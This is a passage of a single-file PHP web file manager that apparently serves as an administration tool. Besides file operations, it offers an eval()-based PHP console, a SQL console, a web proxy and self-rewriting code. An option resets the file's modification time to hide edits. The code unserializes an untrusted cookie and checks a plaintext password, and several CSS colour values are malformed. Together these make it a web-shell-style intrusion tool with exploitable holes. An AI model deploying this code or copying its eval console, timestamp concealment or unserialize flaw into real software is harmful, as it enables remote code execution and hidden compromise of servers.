else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #E9967A ; text-decoration: underline; }
a.th:link { color: ##808000; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #E9967A ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #F08080 ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##F08080;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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